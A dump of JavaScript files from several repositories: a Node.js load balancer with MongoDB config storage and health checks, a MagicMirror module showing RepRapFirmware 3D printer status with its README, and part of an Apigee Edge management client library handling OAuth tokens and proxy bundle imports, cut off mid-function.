dbOperations.updateForward(address);
},
getForward: function() {
return repository.proxyConfig.forward;
},
deleteForward: function() {
dbOperations.deleteForward(repository.proxyConfig.forward);
repository.proxyConfig.forward = {};
},
setProxyConfig: function(address) {
repository.proxyConfig.target = address;
},
getProxyConfig: function() {
return repository.proxyConfig;
},
getLatency: function() {
return repository.latency;
},
updateLatency: function(value) {
repository.latency = value;
dbOperations.updateLatency(value);
}
};
module.exports = model;<file_sep>require('./servers/server-pool')
require('./servers/api-server')
require('./servers/loadbalancer-server').proxyLoadBalancer()
require('./util/mongodbUtil.js').createConnection()
require('./util/healthcheck.js')<file_sep>/**
* Created by Jvalant on 11/26/2014.
*/
var repository = require('../data/repository')
, commonUtil = require('../util/common')
, dbOperations = require('../model/db-operations');
var model = {
/*setTimeOut: function(timeOut) {
repository.healthCheckConfig.timeout = timeOut;
},*/
setCheckInterval: function(checkInterval) {
repository.healthCheckConfig.checkInterval = checkInterval;
},
setHealthyCount: function(healthyCount) {
repository.healthCheckConfig.healthyCount = healthyCount;
},
setUnHealthyCount: function(unhealthyCount) {
repository.healthCheckConfig.unhealthyCount = unhealthyCount;
},
setCheckUrl: function(checkUrl) {
repository.healthCheckConfig.checkUrl = checkUrl;
},
setHealthCheckConfig: function(config) {
if(!commonUtil.isEmpty(config.checkUrl)) repository.healthCheckConfig.checkUrl = config.checkUrl;
//if(!commonUtil.isEmpty(config.timeout)) repository.healthCheckConfig.timeout = config.timeout;
if(!commonUtil.isEmpty(config.checkInterval)) repository.healthCheckConfig.checkInterval = config.checkInterval;
if(!commonUtil.isEmpty(config.healthyCount)) repository.healthCheckConfig.healthyCount = config.healthyCount;
if(!commonUtil.isEmpty(config.unhealthyCount)) repository.healthCheckConfig.unhealthyCount = config.unhealthyCount;
dbOperations.updateHealthCheckConfig(config);
},
getCheckUrl: function() {
return repository.healthCheckConfig.checkUrl;
},
/*getTimeOut: function() {
return repository.healthCheckConfig.timeout;
},*/
getCheckInterval: function() {
return repository.healthCheckConfig.checkInterval;
},
getHealthyCount: function() {
return repository.healthCheckConfig.healthyCount;
},
getUnHealthyCount: function() {
return repository.healthCheckConfig.unhealthyCount;
},
getHealthCheckConfig: function(){
return repository.healthCheckConfig;
},
addNodeForHealthCheck: function(address) {
var newCheck = {
host : address.host,
port : parseInt(address.port),
healthyCount : 0,
unhealthyCount : 0
};
repository.healthCheckInfo.push(newCheck);
dbOperations.addNode(newCheck);
},
deleteNodeForHealthCheck: function(address) {
repository.healthCheckInfo.forEach(function(obj) {
if(obj.host == address.host && obj.port == parseInt(address.port)) {
repository.healthCheckInfo.splice(repository.healthCheckInfo.indexOf(obj), 1);
}
});
dbOperations.deleteNode(address);
},
getHealthCheckInfo: function(){
return repository.healthCheckInfo;
},
checkNodeExistsForHC: function(address) {
var found = false;
repository.healthCheckInfo.forEach(function(obj) {
if(obj.host == address.host && obj.port == address.port) {
found = true;
}
});
return found;
}
}
module.exports = model;
<file_sep>var httpProxy = require('http-proxy')
, commonUtil = require('../util/common')
, model = require('../model/loadbalancer')
, connect = require('connect')
, compression = require('compression')
, dynamicMiddleware = require('../util/dynamic-middleware')
, logger = require('../util/logger')
, util = require('util')
, colors = require('colors');
var proxyApp = connect(),
dm = dynamicMiddleware(proxyApp, compression({
threshold: model.getGzipThreshold()
}));
var proxy = {
proxyLoadBalancer : function () {
var log = ""
, startTime = ""
, proxy = httpProxy.createProxyServer();
if(model.getGzip() == "true")
dm.use();
proxyApp.use(function (req, res) {
var ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress;
log += "RECEIVED REQUEST INFO :: Request origin : " + ip ;
startTime = new Date().getTime();
var targetServer = model.getFirstNode();
if(!commonUtil.isEmpty(targetServer)){
model.setProxyConfig(targetServer);
log = getForwardLog(log);
log+= " , Request target : hostname => "+ targetServer.host + " , port => "+ targetServer.port;
setTimeout(function(){
proxy.web(req, res, model.getProxyConfig());
},model.getLatency());
model.addNode(targetServer);
}
else {
log+= "Request target: No Target found";
res.writeHead(500, {
'Content-Type': 'text/plain'
});
res.end('No server is available to complete your request.');
}
});
proxyApp.listen(8021);
util.puts('Load Balancer '.blue + 'started '.green.bold + 'on port '.blue + '8021 '.yellow);
// Add processing time and request id after response is received from the target || "proxyRes" event
proxy.on('proxyRes', function (proxyRes, req, res) {
var requestId = commonUtil.generateRequestId()
, processingTime = commonUtil.getExecutionTime(startTime, new Date().getTime());
res.setHeader('X-HTTP-request-id', requestId);
res.setHeader('X-HTTP-Processing-Time', processingTime);
log+= " , Request ID : "+ requestId +" , Processing Time : "+ processingTime + " ms";
logger.info(log);
log="";
})
proxy.on('error', function (err, req, res) {
res.writeHead(500, {
'Content-Type': 'text/plain'
});
res.end('Something went Wrong, we are working to get it fixed.');
});
},
setGzipCompression: function() {
dm.use();
},
removeGzipCompression: function() {
dm.remove();
}
};
function getForwardLog(log) {
if(!commonUtil.isEmpty(model.getProxyConfig().forward)) {
if(!commonUtil.isEmpty(model.getProxyConfig().forward.host)) {
log += " , Request forward : hostname => "+ model.getProxyConfig().forward.host + " , port => "+ model.getProxyConfig().forward.port;
}
}
return log;
}
module.exports = proxy;<file_sep>var express= require('express')
, bodyParser = require('body-parser')
, loadBalancerRoutes = require('../routes/loadbalancer')
, healthcheckroute = require('../routes/healthcheckroute')
, util = require('util')
, colors = require('colors')
, dashBoardRoute = require('../routes/dashboard')
, path = require('path')
, expressSession = require('express-session');
function restController() {
var app = express();
app.set('view engine', 'ejs');
app.set('views',process.cwd()+"/views");
app.use(express.static(path.join(process.cwd(),"public")));
app.use(bodyParser.urlencoded({ extended: false }));
app.use(expressSession({secret:'007',saveUninitialized: true,resave: true}));
app.use(bodyParser.json());
app.use('/api/v1/loadbalancer',loadBalancerRoutes);
app.use('/api/v1/loadbalancer/healthcheck',healthcheckroute);
app.use('/',dashBoardRoute);
app.listen(8004);
util.puts('Express server '.blue + 'started '.green.bold + 'on port '.blue + '8004 '.yellow);
app.use(function(err, req, res, next)
{
console.error(err.stack);
res.status(500).send('Something went wrong hence action cannot be executed');
});
}
module.exports = new restController();<file_sep>repository = require('../data/repository');
var model = {
getLoadBalancerMenu : function() {
return repository.menu;
},
getAboutUsInfo : function() {
return repository.aboutUs;
},
checkUser : function(username, password) {
var found = false;
repository.user.forEach(function(obj) {
if(obj.username == username && obj.password == <PASSWORD>) {
found = true;
}
});
return found;
}
}
module.exports = model;<file_sep>var db = require('../util/mongodbUtil');
var operations = {
//add the server to the database
addNode : function(node) {
var collection = db.getDB().collection('dbload');
collection.update({'ID':'dbconfig'}, {$push:{'addresses':node}}, {w:1}, function(err, result) {
if(!err)
{
console.log("node added successfully");
}
else
{
console.log("error encountered while adding address to database: " + err.message());
}
})
},
//delete address of server from the database
deleteNode : function(address) {
var collection = db.getDB().collection('dbload');
collection.update({'ID':'dbconfig'},{$pull:{'addresses':{'host':address.host,'port': parseInt(address.port)}}},{w:1},function(err,result){
if(!err)
{
console.log("node deleted successfully ");
}
else
{
console.log("error encountered while deleting node to database: " + err.message());
}
});
},
// set the threshold value in the database
updateGzipThreshold : function(value) {
var collection = db.getDB().collection('dbload');
collection.update({'ID':'dbconfig'}, {$set:{'gzipthreshold':value}}, {w:1}, function(err, result) {
if(!err)
{
console.log("gzip threshold updated successfully ");
}
else
{
console.log("error encountered while updating gzip threshold to database: " + err.message());
}
});
},
//set the value of gzip
setGzip : function(value) {
var collection = db.getDB().collection('dbload');
collection.update({'ID':'dbconfig'}, {$set:{'gzip':value}}, {w:1}, function(err, result) {
if(!err)
{
console.log("gzip updated successfully ");
}
else
{
console.log("error encountered while updating gzip to database: " + err.message());
}
});
},
//update the value of latency
updateLatency : function(value) {
var collection = db.getDB().collection('dbload');
collection.update({'ID':'dbconfig'}, {$set:{'latency':value}}, {w:1}, function(err, result) {
if(!err)
{
console.log("latency updated successfully ");
}
else
{
console.log("error encountered while updating latency to database: " + err.message());
}
});
},
// update the forward server address
updateForward : function(address) {
var collection = db.getDB().collection('dbload');
collection.update({'ID':'dbconfig'}, {'$set':{'forward':address}},{w:1}, function(err, result) {
if(!err)
{
console.log("forward node updated successfully ");
}
else
{
console.log("error encountered while updating forward node to database: " + err.message());
}
});
},
//delete forward address server
deleteForward : function(address) {
var collection = db.getDB().collection('dbload');
collection.update({'ID':'dbconfig'},{'$unset':{'forward':""}},{w:1},function(err,result){
if(!err)
{
console.log("forward node deleted successfully ");
}
else
{
console.log("error encountered while deleting forward node to database: " + err.message());
}
});
},
updateHealthCheckConfig : function(config) {
var collection = db.getDB().collection('dbload');
collection.update({'ID':'dbconfig'},{'$set':{'healthCheckConfig':config}},{w:1},function(err,result){
if(!err)
{
console.log("healthcheck config updated successfully ");
}
else
{
console.log("error encountered while updating healthcheck config to database: " + err.message());
}
});
}
};
module.exports = operations; | e098035c9409fedf061c912e5fa4e3d4009e2aea | [
"Markdown",
"JavaScript"
] | 15 | Markdown | jainikvora/elastic-load-balancer-livewires | 1b975f7c03a4879147aac028a485f303128a3031 | 2c39334320b636cc689f01d961d3803ee3f11ac1 |
refs/heads/master | <repo_name>Coder801/keyparser<file_sep>/keyparser-ui/src/components/file-uploader/index.js
import React, { Component } from 'react';
//import './style.css';
class FileUploader extends Component {
render() {
return (
<div className="file-uploader">
<div>Drop here</div>
<form action="/">
<input type="file"/>
</form>
</div>
);
}
}
export default FileUploader;
| 1cdfe160590eb929835fa34dd29285e832d45bc5 | [
"JavaScript"
] | 1 | JavaScript | Coder801/keyparser | 4f6604e4ce6c853a3f26d864d9e059448ed4b695 | 30204a181723b106db754a32da5b4a7b0dba251c |
refs/heads/master | <file_sep>Module.register("MMM-RepRapFirmware",{
// Default module config.
defaults: {
host: "",
updateInterval: "5000",
parameters: ["status", "timeLeft", "percent"],
showProgressBar: true,
},
// Override dom generator.
getDom: function(value) {
var wrapper = document.createElement("div");
if (result != ""){
var tableElement = document.createElement("table");
var parameters = this.config.parameters;
for (i = 0; i < parameters.length; i++){
var name = "";
var val = "";
switch(parameters[i]){
case "status":
name = "Status";
val = this.convertStatus(result.status);
break;
case "percent":
name = "Print Progress";
val = this.calculatePercent((result.timesLeft.filament), (result.printDuration)) + "%";
break;
case "timeLeft":
name = "Time Left";
val = this.convertTime(result.timesLeft.filament);
break;
}
newRow = document.createElement("tr");
cell1 = newRow.insertCell();
cell1.innerHTML = name;
cell1.className = "col1";
cell2 = newRow.insertCell();
cell2.innerHTML = val;
cell2.className = "col2";
tableElement.appendChild(newRow);
}
wrapper.appendChild(tableElement);
if (this.config.showProgressBar && result.timesLeft.filament > 0){
var progress = this.calculatePercent((result.timesLeft.filament), (result.printDuration));
var progressBar = document.createElement("progress");
progressBar.max = 100;
progressBar.value = progress;
wrapper.appendChild(progressBar);
}
}
return wrapper;
},
start: function() {
var self = this;
result = "";
setInterval(function() {
self.getUpdate();
}, this.config.updateInterval);
},
getUpdate: function(arr){
var self = this;
var xmlhttp = new XMLHttpRequest();
var url = "http://" + this.config.host + "/rr_status?type=3";
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
result = JSON.parse(xmlhttp.responseText);
if (self.hidden){
self.show(1000);
}
}
};
xmlhttp.open("GET", url, true);
xmlhttp.onerror = function(){
if (!self.hidden){
self.hide(1000);
}
}
xmlhttp.send();
this.updateDom();
},
convertStatus: function(stateVal){
var state = "";
switch(stateVal){
case "C":
state = "Processing";
break;
case "I":
state = "Idle";
break;
case "B":
state = "Busy";
break;
case "P":
state = "Printing";
break;
case "D":
state = "Decelerating";
break;
case "S":
state = "Stopped";
break;
case "R":
state = "Resuming";
break;
case "H":
state = "Halted";
break;
case "F":
state = "Flashing";
break;
case "T":
state = "Tool Change";
break;
case "M":
state = "Simulating";
break;
}
return state;
},
convertTime: function(timeVal){
var hours = Math.floor(timeVal / (60*60));
var minutes = Math.floor((timeVal - (hours * 60 * 60)) / 60);
var seconds = Math.round((timeVal - (hours * 60 * 60) - (minutes * 60)));
/* if (minutes < 10){
minutes = "0" + minutes;
}
if (seconds < 10){
seconds = "0" + seconds;
}*/
var timeString = "";
if (hours > 0){
timeString += hours + "h ";
timeString += minutes + "m ";
}
else if (minutes > 0) {
timeString += minutes + "m ";
}
timeString += seconds + "s";
return timeString;
},
calculatePercent: function(timeLeft, printDuration){
var percent = (100 * printDuration) / (timeLeft + printDuration);
return Math.round(percent);
},
getStyles: function() {
return [
this.file('custom.css'), // this file will be loaded straight from the module folder.
]
}
});<file_sep># Magic Mirror Module: RepRapFirmware
This module for the [Magic Mirror²](https://github.com/MichMich/MagicMirror) allows you to display live info from your 3D printer running [RepRapFirmware](https://github.com/dc42/RepRapFirmware). This firmware is mainly used on [Duet3D control boards (Duet Wifi & Ethernet)](https://www.duet3d.com/).
## Screenshot

## Installing the module
Navigate to your MagicMirror's `modules` folder:
```
cd ~/MagicMirror/modules
```
Clone this repository:
```
git clone https://github.com/arirobinson/MMM-RepRapFirmware
```
## Using the module
To use this module, add it to the modules array in the `config/config.js` file:
````javascript
modules: [
{
module: "MMM-RepRapFirmware",
position: "top_right", //this can be any region
header: "3D Printer", //name your printer
config: {
host: "your_3d_printer_ip_address", //ip address of your printer
}
},
]
````
## Configuration options
The following properties can be configured:
| Option | Description
| ----------------- | -----------
| `host` | IP address of your printer.<br><br> **Example value:** `192.168.0.5`
| `updateInterval` | Time between data updates (in ms).<br><br>**Default value:** `5000`
| `showProgressBar` | Show the progress bar when print is running.<br><br> **Possible values:** `true` or `false` <br> **Default value:** `true` | 02c8d983e91c662583b8ede2c31ed1cb16656d52 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | arirobinson/MMM-RepRapFirmware | 52a1f23bd7f0c0092e0db8ff021fd9fb61d54eb1 | 4478082c76cc9c46a16d7e580eb63298e54ab8bd |
refs/heads/master | <file_sep>import {Component, Input, OnInit} from '@angular/core';
import {COURSES} from '../../db-data';
import {Course} from '../model/course';
@Component({
// tslint:disable-next-line:component-selector
selector: 'course-card',
templateUrl: './course-card.component.html',
styleUrls: ['./course-card.component.css']
})
export class CourseCardComponent implements OnInit {
@Input()
course: Course; // create object (is from course.ts)
constructor() { }
ngOnInit(): void {
}
}
| 9eef0418bb955e59c22b14598a063e5e9191daab | [
"TypeScript"
] | 1 | TypeScript | miagudelj/Angular_Mia | b7002235674a5d2f7982e8724f664a5379a6f0b7 | a6238efea4aac77135281f58a68d921595bf24af |
refs/heads/master | <repo_name>DevRaptor/SEBA<file_sep>/SEBA/Config/DefaultGame.ini
[/Script/EngineSettings.GeneralProjectSettings]
ProjectID=632F7F494F08DD3FF133FE97896B47FF
<file_sep>/SEBA/Source/SEBA/SEBA.cpp
// Fill out your copyright notice in the Description page of Project Settings.
#include "SEBA.h"
IMPLEMENT_PRIMARY_GAME_MODULE( FDefaultGameModuleImpl, SEBA, "SEBA" );
| 254ea68db6544880e46653f35bcbb66414166e75 | [
"C++",
"INI"
] | 2 | INI | DevRaptor/SEBA | ea5971f0d16013d02300f4074cee0506d6251d80 | b9c40bb7d326a320ba31948844896727fcbaa15e |
refs/heads/master | <repo_name>markgh47/apigee-edge-js<file_sep>/lib/edge.js
// edge.js
// ------------------------------------------------------------------
//
// library of functions for Apigee Edge.
//
// Copyright 2017 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
// created: Mon Jun 6 17:32:20 2016
// last saved: <2018-February-27 14:51:13>
(function (){
var path = require('path'),
fs = require('fs'),
os = require('os'),
qs = require('qs'),
netrc = require('netrc')(),
tokenMgmt = require('./tokenMgmt.js'),
archiver = require('archiver'),
AdmZip = require('adm-zip'),
urljoin = require('url-join'),
sprintf = require('sprintf-js').sprintf,
xml2js = require('xml2js'),
merge = require('merge'),
jsonRe = new RegExp("application/json"),
utility = require('./utility.js'),
request = require('request'),
gEdgeSaasMgmtServer = 'https://api.enterprise.apigee.com',
gDefaultBasicAuthBlobForLogin = 'ZWRnZWNsaTplZGdlY2xpc2VjcmV0';
//require('request-debug')(request);
function getDatestring() {
var datestring = new Date().toISOString().replace(/-/g,'').replace(/:/g,'').replace('T','-').replace(/\.[0-9]+Z/,'');
return datestring;
}
function base64Encode(s) {
return new Buffer(s).toString('base64');
}
function Connection() { }
Connection.prototype.refreshToken = function(expiredToken, cb) {
var conn = this;
var formparams = {
refresh_token: expiredToken.refresh_token,
grant_type : 'refresh_token'
};
return invokeTokenEndpoint(conn, formparams, cb);
};
Connection.prototype.getNewToken = function(arg1, cb) {
var conn = this;
var formparams = { grant_type : 'password' };
if ( typeof arg1 == 'string' ) {
formparams = merge(formparams, { username: conn.user, password: <PASSWORD> });
}
else if (arg1.passcode) {
formparams = merge(formparams, { response_type: 'token', passcode: arg1.passcode });
}
else if (arg1.password) {
formparams = merge(formparams, { username: conn.user, password: <PASSWORD> });
if (arg1.mfa_token) {
formparams = merge(formparams, { mfa_token: arg1.mfa_token });
}
}
return invokeTokenEndpoint(conn, formparams, cb);
};
// // why is this present on Connection, and not only on the Environment object?
// Connection.prototype.getEnvironments = function(cb) {
// var conn = this;
// if (conn.verbosity>0) {
// utility.logWrite('get environments');
// }
// internalGetEnvironments(conn, cb);
// };
function Organization(conn) {
this.conn = conn;
this.proxies = new ApiProxy(conn);
this.caches = new Cache(conn);
this.kvms = new Kvm(conn);
this.developers = new Developer(conn);
this.developerapps = new DeveloperApp(conn);
this.apps = new App(conn);
this.sharedflows = new SharedFlow(conn);
this.products = new ApiProduct(conn);
this.appcredentials = new AppCredential(conn);
this.flowhooks = new FlowHook(conn);
this.environments = new Environment(conn);
}
Organization.prototype.get = function(url, cb) {
if ( ! cb) { cb = url; url = ''; }
var conn = this.conn;
url = urljoin(conn.urlBase, url);
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', url));
}
request.get(url, {headers: conn.requestHeaders}, commonCallback(conn, [200], cb));
};
Organization.prototype.getProperties = function(cb) {
var conn = this.conn;
this.get(function(e, result) {
if (e) { return cb(e, result); }
conn.orgProperties = arrayOfKeyValuePairsToHash(result.properties.property);
result.properties = conn.orgProperties;
cb(null, result);
});
};
function Environment(conn) {this.conn = conn;}
function internalGetEnvironments(conn, options, cb) {
// if (conn.environments) {
// return cb(null, conn.environments);
// }
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = (options.name) ?
urljoin(conn.urlBase, 'e', options.name):
urljoin(conn.urlBase, 'e') ;
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, commonCallback(conn, [200], function(e, result){
//if ( ! e) {conn.environments = result;} // cache
cb(e, result);
}));
});
}
Environment.prototype.get = function(options, cb) {
if ( ! cb) { cb = options; options = {}; }
var conn = this.conn;
if (conn.verbosity>0) {
utility.logWrite('get environments');
}
internalGetEnvironments(conn, options, cb);
};
Environment.prototype.getVhosts = function(options, cb) {
var conn = this.conn;
var name = options.environmentName || options.environment || options.name;
if (!name) {
throw new Error("missing environment name");
}
if (conn.verbosity>0) {
utility.logWrite('get vhosts');
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = (options.vhost) ?
urljoin(conn.urlBase, 'e', name, 'virtualhosts', options.vhost):
urljoin(conn.urlBase, 'e', name, 'virtualhosts');
if (conn.verbosity>0) {
utility.logWrite(sprintf('GET %s', requestOptions.url));
}
request.get(requestOptions, commonCallback(conn, [200], cb));
});
};
function trimSlash(s) {
if (s.slice(-1) == '/') { s = s.slice(0, -1); }
return s;
}
function maybeSetSsoParams(c, options) {
if (options.ssoZone) {
c.loginBaseUrl = 'https://' + options.ssoZone + '.login.apigee.com/';
}
else if (options.ssoUrl) {
c.loginBaseUrl = options.ssoUrl;
}
else {
c.loginBaseUrl = 'https://login.apigee.com';
}
if (options.ssoClientId && options.ssoClientSecret) {
c.basicAuthBlobForLogin = base64Encode(options.ssoClientId + ':' + options.ssoClientSecret);
}
}
function _connect(options, cb) {
var org;
// options = {user: "foo", password: "bar", mgmtServer: "https://api.ent.api.com", org: "orgname"}
// or
// options = {user: "foo", mgmtServer: "https://api.ent.api.com", org: "orgname"}
// or
// options = {user: "foo", org: "orgname"}
// or
// options = {user: "foo", org: "orgname", ssoZone: 'foo' }
function maybeGetNewToken() {
if (!options.password ) {
throw new Error("missing password");
}
if (!options.no_token) {
org = new Organization(c);
c.org = org;
return c.getNewToken(options.password, function(e, result){ cb(e, org); });
}
else {
// for some reason, the caller does not want to use tokens
c.requestHeaders.authorization = 'Basic ' + base64Encode(options.user + ':' + options.password);
org = new Organization(c);
c.org = org;
return org.get('', function(e, result){ cb(e, org); });
}
}
var mgmtServer = trimSlash(options.mgmtServer || gEdgeSaasMgmtServer);
var c = new Connection();
if ( typeof cb != 'function' ) {
throw new Error("missing callback");
}
if ( ! options.org ) {
throw new Error("missing org");
}
c.orgname = options.org;
if ( options.netrc ) {
if (options.verbosity) {
utility.logWrite('searching .netrc for credentials....');
}
var mgmtUrl = require('url').parse(mgmtServer);
if ( ! netrc[mgmtUrl.hostname]) {
throw new Error("there is no entry for the management server in in the .netrc file.");
}
options.user = netrc[mgmtUrl.hostname].login;
options.password = netrc[mgmtUrl.hostname].password;
}
if ( ! options.user ) {
throw new Error("missing user");
}
c.user = options.user;
maybeSetSsoParams(c, options);
checkMgmtServerFormat(mgmtServer);
c.mgmtServer = mgmtServer;
c.urlBase = urljoin(mgmtServer, '/v1/o/', options.org);
c.requestHeaders = { accept : 'application/json'} ;
c.verbosity = options.verbosity || 0;
if (c.verbosity) {
utility.logWrite('connect: ' + JSON.stringify(c));
}
if ( ! options.no_token ) {
var stashedToken;
if (!options.no_token) {
stashedToken = tokenMgmt.currentToken(options.user, mgmtServer);
}
if (stashedToken) {
if (options.verbosity) {
utility.logWrite('found stashed token.');
}
org = new Organization(c);
c.org = org;
if ( tokenMgmt.isInvalidOrExpired(stashedToken)) {
if (options.verbosity) {
utility.logWrite('invalid or expired');
}
return c.refreshToken(stashedToken, function(e, result){
if ( ! e ) { return cb(null, org); }
if (c.verbosity) {
utility.logWrite('refresh failed: ' + JSON.stringify(e) + '//' + JSON.stringify(result));
}
// failure can happen here if the refresh token is expired
return maybeGetNewToken();
});
}
if (options.verbosity) {
utility.logWrite('valid and not expired');
}
c.requestHeaders.authorization = 'Bearer ' + stashedToken.access_token;
return cb(null, org);
}
else {
if (options.verbosity) {
utility.logWrite('found no stashed token.');
}
return maybeGetNewToken();
}
}
else {
if (!options.password ) {
throw new Error("missing password");
}
c.requestHeaders.authorization = 'Basic ' + base64Encode(options.user + ':' + options.password);
org = new Organization(c);
c.org = org;
return org.get('', function(e, result){ cb(e, org); });
}
}
// to handle expiry of the oauth token
function mergeRequestOptions(conn, cb) {
var rh = conn.requestHeaders;
if (rh && rh.authorization &&
conn.user && rh.authorization.indexOf('Bearer ') === 0) {
var stashedToken = tokenMgmt.currentToken(conn.user, conn.mgmtServer);
if (tokenMgmt.isInvalidOrExpired(stashedToken)) {
return conn.refreshToken(stashedToken, function(e, result){
if (e) {
throw new Error('error refreshing token: ' + e );
}
cb(merge(true, { headers: rh}));
});
}
else {
cb(merge(true, { headers: rh}));
}
}
else {
cb(merge(true, { headers: rh}));
}
}
function commonCallback(conn, okstatuses, cb) {
return function (error, response, body) {
var result;
if (conn.verbosity>0) {
utility.logWrite('status: ' + response.statusCode );
}
if (error) {
result = body ? JSON.parse(body): null;
return cb(error, result);
}
if (okstatuses.indexOf(response.statusCode) > -1) {
if (jsonRe.test(response.headers["content-type"])) {
result = JSON.parse(body);
}
cb(null, result || body);
}
else {
result = body ? JSON.parse(body): null;
cb({error: 'bad status', statusCode: response.statusCode }, result);
}
};
}
function checkMgmtServerFormat(mgmtserver) {
if ( ! mgmtserver || ! (mgmtserver.startsWith('http://') || mgmtserver.startsWith('https://'))) {
throw new Error("use an http or https url for the management server.");
}
}
function invokeTokenEndpoint(conn, formparams, cb) {
var requestOptions = {
headers: {
'content-type': 'application/x-www-form-urlencoded',
'Authorization' : 'Basic ' + (conn.basicAuthBlobForLogin || gDefaultBasicAuthBlobForLogin )
},
body : qs.stringify(formparams),
url : conn.loginBaseUrl + '/oauth/token'
};
if (conn.verbosity>0) {
utility.logWrite(sprintf('POST %s', requestOptions.url));
}
request.post(requestOptions, commonCallback(conn, [200], function(e, result) {
if (conn.verbosity>0) {
if (e) {
utility.logWrite('POST error: ' + JSON.stringify(e));
}
else {
utility.logWrite('POST result: ' + JSON.stringify(result));
}
}
if ( ! e && result) {
result.issued_at = (new Date()).valueOf();
if (formparams.username) {
conn.user = formparams.username;
}
tokenMgmt.stashToken(conn.user, conn.mgmtServer, result);
conn.requestHeaders.authorization = 'Bearer ' + result.access_token;
}
cb(e, result);
}));
}
function walkDirectory(dir, done) {
var results = [];
fs.readdir(dir, function(err, list) {
if (err) return done(err);
var i = 0;
(function next() {
var file = list[i++];
if (!file) return done(null, results);
file = dir + '/' + file;
fs.stat(file, function(err, stat) {
if (stat && stat.isDirectory()) {
walkDirectory(file, function(err, res) {
results = results.concat(res);
next();
});
} else {
results.push(file);
next();
}
});
})();
});
}
function produceBundleZip(srcDir, assetType, verbosity, cb) {
var pathToZip = path.resolve(path.join(srcDir, assetType));
var checkName = function(name) {
if (name.endsWith('~')) return false;
//if (name.endsWith('node_modules.zip')) return false;
if (name.indexOf('/node_modules/')>0) return false;
var b = path.basename(name);
if (b.endsWith('#') && b.startsWith('#')) return false;
if (b.startsWith('.#')) return false;
return true;
};
verifyPathIsDir(pathToZip, function(e) {
if (e) { return cb(e); }
var tmpdir = process.env.tmpdir || '/tmp';
var rando = Math.random().toString(36).slice(2);
var archiveName = path.join(tmpdir, assetType + '-' + new Date().getTime() + '-' + rando + '.zip');
var outs = fs.createWriteStream(archiveName);
var archive = archiver('zip');
outs.on('close', function () {
if (verbosity>0) {
utility.logWrite('zipped ' + archive.pointer() + ' total bytes');
}
cb(null, archiveName);
});
archive.on('error', function(e){ cb(e, archiveName); });
archive.pipe(outs);
walkDirectory(pathToZip, function(e, results) {
results.forEach(function(filename) {
if (checkName(filename)) {
var shortName = filename.replace(pathToZip, assetType);
archive.append(fs.createReadStream(filename), { name: shortName });
}
});
archive.finalize();
});
});
}
function getCollectionNameForAssetType(assetType) {
var supportedTypes = { apiproxy: 'apis', sharedflowbundle: 'sharedflows'};
return supportedTypes[assetType];
}
function needNpmInstall(collection, zipArchive) {
if (collection != 'apis') { return false; }
var foundPackage = false;
var foundNodeModules = false;
var zip = new AdmZip(zipArchive);
var zipEntries = zip.getEntries();
zipEntries.forEach(function(entry) {
if (entry.entryName == 'apiproxy/resources/node/package.json') {
foundPackage = true;
}
if (entry.entryName == 'apiproxy/resources/node/node_modules.zip') {
foundNodeModules = true;
}
});
return foundPackage && !foundNodeModules;
}
function runNpmInstall(conn, options, cb) {
// POST :mgmtserver/v1/o/:orgname/apis/:apiname/revisions/:revnum/npm
// -H content-type:application/x-www-form-urlencoded \
// -d 'command=install'
if (conn.verbosity>0) {
utility.logWrite(sprintf('npm install %s r%d', options.name, options.revision));
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.url = urljoin(conn.urlBase,
'apis', options.name,
'revisions', options.revision,
'npm');
requestOptions.body = 'command=install';
requestOptions.headers['content-type'] = 'application/x-www-form-urlencoded';
if (conn.verbosity>0) {
utility.logWrite(sprintf('POST %s', requestOptions.url));
}
request.post(requestOptions, commonCallback(conn, [200], cb));
});
}
function importAssetFromZip(conn, assetName, assetType, zipArchive, cb) {
// eg,
// curl -X POST -H Content-Type:application/octet-stream "${mgmtserver}/v1/o/$org/apis?action=import&name=$proxyname" -T $zipname
// or
// curl -X POST -H content-type:application/octet-stream "${mgmtserver}/v1/o/$org/sharedflows?action=import&name=$sfname" -T $zipname
if ( ! fs.existsSync(zipArchive)) {
return cb(new Error('The archive does not exist'));
}
var collection = getCollectionNameForAssetType(assetType);
if ( ! collection) {
return cb(new Error('The assetType is not supported'));
}
mergeRequestOptions(conn, function(requestOptions) {
requestOptions.headers['content-type'] = 'application/octet-stream';
requestOptions.url = urljoin(conn.urlBase, collection + '?action=import&name=' + assetName);
if (conn.verbosity>0) {
utility.logWrite(sprintf('POST %s', requestOptions.url));
}
var afterImport =
function(e, result) {
if (conn.verbosity>0) {
if (e) {
utility.logWrite('Import error: ' + JSON.stringify(e));
}
else {
utility.logWrite('Import result: ' + JSON.stringify(result));
}
}
if (e) { return cb(e, result); }
if( ! needNpmInstall(collection, zipArchive)) { return cb(null, result); }
runNpmInstall(conn, {name:result.name, revision:result.revision},
// Return the result from the import, not the
// result from the install.
function(e2, result2) {
if (e2) { return cb(e2, result2); }
cb(e, result);
});
};
fs.createReadStream(zipArchive)
.pipe(request.post(requestOptions, commonCallback(conn, [201], afterImport)));
});
}
function verifyPathIsDir(dir, cb) {
var resolvedPath = path.resolve(dir);
fs.lstat(resolvedPath, function(e, stats) {
if (e) return cb(e);
if (! stats.isDirectory()) {
return cb({message:'The path '+ resolvedPath +' is not a directory'});
}
return cb(null);
});
}
function importAssetFromDir(conn, name, assetType, srcDir, cb) {
if (['apiproxy', 'sharedflowbundle'].indexOf(assetType) < 0) {
return cb(new Error("unknown assetType"));
}
var resolvedPath = path.resolve(srcDir);
if (conn.verbosity>0) {
utility.logWrite(sprintf('import %s %s from dir %s', assetType, name, resolvedPath));
}
verifyPathIsDir(srcDir, function(e) {
if (e) { return cb(e); }
produceBundleZip(srcDir, assetType, conn.verbosity, function(e, archiveName) {
if (e) return cb(e);
